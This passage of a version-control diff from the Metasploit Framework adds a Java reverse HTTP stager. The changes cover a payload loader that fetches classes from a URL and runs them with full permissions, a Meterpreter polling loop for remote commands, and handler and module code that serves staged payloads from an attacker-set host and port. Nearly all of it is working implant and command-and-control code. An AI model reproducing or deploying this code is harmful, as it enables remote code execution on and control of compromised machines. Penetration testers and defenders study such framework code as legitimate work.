java.io.FileOutputStream; -import java.io.OutputStream; - -public class UpExec implements Stage { - - public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { - final String tempfile = File.createTempFile("~upexec", null).getAbsolutePath(); - final int length = in.readInt(); - final byte[] data = new byte[length]; - in.readFully(data); - final FileOutputStream fos = new FileOutputStream(tempfile); - fos.write(data); - fos.close(); - for (int i = 0; i < parameters.length; i++) { - if (parameters[i].equals("--")) { - // separator found. The next parameter will be the module name, and - // all remaining parameters are for exec. - final String[] cmdarray = new String[parameters.length - i - 2]; - System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length); - cmdarray[0] = tempfile; - final Process proc = Runtime.getRuntime().exec(cmdarray); - new StreamForwarder(in, proc.getOutputStream(), out).start(); - new StreamForwarder(proc.getInputStream(), out, out).start(); - new StreamForwarder(proc.getErrorStream(), out, out).start(); - proc.waitFor(); - in.close(); - out.close(); - break; - } - } - new File(tempfile).delete(); - } -} diff --git a/external/source/javapayload/src/metasploit/Payload.java b/external/source/javapayload/src/metasploit/Payload.java index e672e33ce4..09b4aa13c1 100644 --- a/external/source/javapayload/src/metasploit/Payload.java +++ b/external/source/javapayload/src/metasploit/Payload.java @@ -33,6 +33,8 @@ */ package metasploit; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; import java.io.DataInputStream; import java.io.File; import java.io.FileNotFoundException; @@ -165,6 +167,7 @@ public class Payload extends ClassLoader { // check what stager to use (bind/reverse) int lPort = Integer.parseInt(props.getProperty("LPORT", "4444")); String lHost = props.getProperty("LHOST", null); + String url = props.getProperty("URL", null); InputStream in; OutputStream out; if (lPort <= 0) { @@ -172,6 +175,13 @@ public class Payload extends ClassLoader { // best used with embedded stages in = System.in; out = System.out; + } else if (url != null) { + if (url.startsWith("raw:")) + // for debugging: just use raw bytes from property file + in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1")); + else + in = new URL(url).openStream(); + out = new ByteArrayOutputStream(); } else { Socket socket; if (lHost != null) { @@ -193,7 +203,7 @@ public class Payload extends ClassLoader { for (int i = 0; i < stageParams.length; i++) { stageParams[i] = stageParamTokenizer.nextToken(); } - new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null),stageParams); + new Payload().bootstrap(in, out, stageParams); } } @@ -208,24 +218,20 @@ public class Payload extends ClassLoader { fos.close(); } - private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception { + private final void bootstrap(InputStream rawIn, OutputStream out, String[] stageParameters) throws Exception { try { final DataInputStream in = new DataInputStream(rawIn); Class clazz; final Permissions permissions = new Permissions(); permissions.add(new AllPermission()); final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions); - if (embeddedStageName == null) { - int length = in.readInt(); - do { - final byte[] classfile = new byte[length]; - in.readFully(classfile); - resolveClass(clazz = defineClass(null, classfile, 0, length, pd)); - length = in.readInt(); - } while (length > 0); - } else { - clazz = Class.forName("javapayload.stage."+embeddedStageName); - } + int length = in.readInt(); + do { + final byte[] classfile = new byte[length]; + in.readFully(classfile); + resolveClass(clazz = defineClass(null, classfile, 0, length, pd)); + length = in.readInt(); + } while (length > 0); final Object stage = clazz.newInstance(); clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters }); } catch (final Throwable t) { diff --git a/external/source/meterpreter/java/build.xml b/external/source/meterpreter/java/build.xml index 25bbeeb401..6ec0f4522f 100644 --- a/external/source/meterpreter/java/build.xml +++ b/external/source/meterpreter/java/build.xml @@ -38,8 +38,6 @@ - - diff --git a/external/source/meterpreter/java/src/loader/com/metasploit/meterpreter/URLDebugLoader.java b/external/source/meterpreter/java/src/loader/com/metasploit/meterpreter/URLDebugLoader.java new file mode 100644 index 0000000000..c8301b33b5 --- /dev/null +++ b/external/source/meterpreter/java/src/loader/com/metasploit/meterpreter/URLDebugLoader.java @@ -0,0 +1,35 @@ +package com.metasploit.meterpreter; + +import java.io.ByteArrayOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.OutputStream; +import java.net.URL; + +/** + * A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled. + * + * @author mihi + */ +public class URLDebugLoader { + /** + * Main entry point. + */ + public static void main(String[] args) throws Exception { + if (args.length < 2) { + System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader []"); + return; + } + URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM"); + DataInputStream in = new DataInputStream(initURL.openStream()); + OutputStream out = new DataOutputStream(new ByteArrayOutputStream()); + int coreLen = in.readInt(); + while (coreLen != 0) { + in.readFully(new byte[coreLen]); + coreLen = in.readInt(); + } + coreLen = in.readInt(); + in.readFully(new byte[coreLen]); + new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3); + } +} diff --git a/external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java b/external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java index 762b112dd5..488d18244a 100644 --- a/external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java +++ b/external/source/meterpreter/java/src/meterpreter/com/metasploit/meterpreter/Meterpreter.java @@ -10,6 +10,7 @@ import java.io.OutputStream; import java.io.PrintStream; import java.net.URL; import java.net.URLClassLoader; +import java.net.URLConnection; import java.util.ArrayList; import java.util.Iterator; import java.util.List; @@ -36,6 +37,7 @@ public class Meterpreter { private final ByteArrayOutputStream errBuffer; private final PrintStream err; private final boolean loadExtensions; + private List/* */tlvQueue = null; /** * Initialize the meterpreter. @@ -69,7 +71,9 @@ public class Meterpreter { if (ptype != PACKET_TYPE_REQUEST) throw new IOException("Invalid packet type: " + ptype); TLVPacket request = new TLVPacket(in, len - 8); - writeTLV(PACKET_TYPE_RESPONSE, executeCommand(request)); + TLVPacket response = executeCommand(request); + if (response != null) + writeTLV(PACKET_TYPE_RESPONSE, response); } } catch (EOFException ex) { } @@ -91,8 +95,17 @@ public class Meterpreter { * @param packet * The packet to send */ - private void writeTLV(int type, TLVPacket packet) throws IOException { + private synchronized void writeTLV(int type, TLVPacket packet) throws IOException { byte[] data = packet.toByteArray(); + if (tlvQueue != null) { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + dos.writeInt(data.length + 8); + dos.writeInt(type); + dos.write(data); + tlvQueue.add(baos.toByteArray()); + return; + } synchronized (out) { out.writeInt(data.length + 8); out.writeInt(type); @@ -111,6 +124,15 @@ public class Meterpreter { private TLVPacket executeCommand(TLVPacket request) throws IOException { TLVPacket response = new TLVPacket(); String method = request.getStringValue(TLVType.TLV_TYPE_METHOD); + if (method.equals("core_switch_url")) { + String url = request.getStringValue(TLVType.TLV_TYPE_STRING); + int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT); + int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH); + pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout); + return null; + } else if (method.equals("core_shutdown")) { + return null; + } response.add(TLVType.TLV_TYPE_METHOD, method); response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID)); Command cmd = commandManager.getCommand(method); @@ -124,6 +146,72 @@ public class Meterpreter { response.add(TLVType.TLV_TYPE_RESULT, result); return response; } + + /** + * Poll from a given URL until a shutdown request is received. + * @param url + */ + private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException { + synchronized (this) { + tlvQueue = new ArrayList(); + } + long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L; + long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L; + final byte[] RECV = "RECV".getBytes("ISO-8859-1"); + while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) { + byte[] outPacket = null; + synchronized (this) { + if (tlvQueue.size() > 0) + outPacket = (byte[]) tlvQueue.remove(0); + } + TLVPacket request = null; + try { + URLConnection uc = url.openConnection(); + uc.setDoOutput(true); + OutputStream out = uc.getOutputStream(); + out.write(outPacket == null ? RECV : outPacket); + out.close(); + DataInputStream in = new DataInputStream(uc.getInputStream()); + int len; + try { + len = in.readInt(); + } catch (EOFException ex) { + len = -1; + } + if (len != -1) { + int ptype = in.readInt(); + if (ptype != PACKET_TYPE_REQUEST) + throw new RuntimeException("Invalid packet type: " + ptype); + request = new TLVPacket(in, len - 8); + } + in.close(); + commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L; + } catch (IOException ex) { + ex.printStackTrace(getErrorStream()); + // URL not reachable + if (outPacket != null) { + synchronized (this) { + tlvQueue.add(0, outPacket); + } + } + } + if (request != null) { + TLVPacket response = executeCommand(request); + if (response == null) + break; + writeTLV(PACKET_TYPE_RESPONSE, response); + } else if (outPacket == null) { + try { + Thread.sleep(5000); + } catch (InterruptedException ex) { + // ignore + } + } + } + synchronized (this) { + tlvQueue = new ArrayList(); + } + } /** * Get the command manager, used to register or lookup commands. diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 9421509980..7c9a38030d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -124,7 +124,40 @@ protected # Process the requested resource. case req.relative_resource + when /^\/INITJM/ + $stdout.puts("java: #{req.relative_resource}") + + conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16) + url = "http://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00" + $stdout.puts "URL: #{url.inspect}" + + blob = "" + blob << obj.generate_stage + + # This is a TLV packet - I guess somewhere there should be API for building them + # in Metasploit :-) + packet = "" + packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00" + packet << [url.length+8, 0x1000a].pack('NN')+url + packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN') + packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN') + blob << [packet.length+8, 0].pack('NN') + packet + + resp.body = blob + conn_ids << conn_id + + # Short-circuit the payload's handle_connection processing for create_session + create_session(cli, { + :passive_dispatcher => obj.service, + :conn_id => conn_id, + :url => url, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => false + }) + when /^\/A?INITM?/ + $stdout.puts("Win32: #{req.relative_resource}") url = '' @@ -180,6 +213,7 @@ protected when /^\/(CONN_.*)\// resp.body = "" conn_id = $1 + $stdout.puts("Received poll from #{conn_id}") if not self.conn_ids.include?(conn_id) print_status("Incoming orphaned session #{conn_id}, reattaching...") diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index 7582a78397..0d3a30a209 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -32,6 +32,7 @@ module Metasploit3 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'javasocket', 'Stager' => {'Payload' => ""} )) diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb new file mode 100644 index 0000000000..b2810016e5 --- /dev/null +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -0,0 +1,65 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Java + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Java Reverse HTTP Stager', + 'Version' => '$Revision$', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => [ + 'mihi', # all the hard work + 'egypt', # msf integration + 'hdm', # windows/reverse_http + ], + 'License' => MSF_LICENSE, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'javaurl', + 'Stager' => {'Payload' => ""} + )) + + register_advanced_options( + [ + Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ]) + ], self.class + ) + + @class_files = [ ] + end + + def config + spawn = datastore["Spawn"] || 2 + c = "" + c << "Spawn=#{spawn}\n" + c << "URL=http://#{datastore["LHOST"]}" + c << ":#{datastore["LPORT"]}" if datastore["LPORT"] + c << "/INITJM\n" + + c + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end +end + diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 6c43b15649..2a354ee032 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -32,6 +32,7 @@ module Metasploit3 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'javasocket', 'Stager' => {'Payload' => ""} )) diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index 215a1c9fa4..37631f81d2 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -33,6 +33,10 @@ module Metasploit3 ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, + 'PayloadCompat' => + { + 'Convention' => 'javasocket javaurl', + }, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_Java_Java)) # Order matters. Classes can only reference classes that have already diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb index 93bd582505..27b26b3330 100644 --- a/modules/payloads/stages/java/shell.rb +++ b/modules/payloads/stages/java/shell.rb @@ -34,6 +34,10 @@ module Metasploit3 ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, + 'PayloadCompat' => + { + 'Convention' => 'javasocket', + }, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::CommandShell)) @@ -43,7 +47,6 @@ module Metasploit3 @stage_class_files = [ [ "javapayload", "stage", "Stage.class" ], [ "javapayload", "stage", "StreamForwarder.class" ], - [ "javapayload", "stage", "Exec.class" ], [ "javapayload", "stage", "Shell.class" ], ] end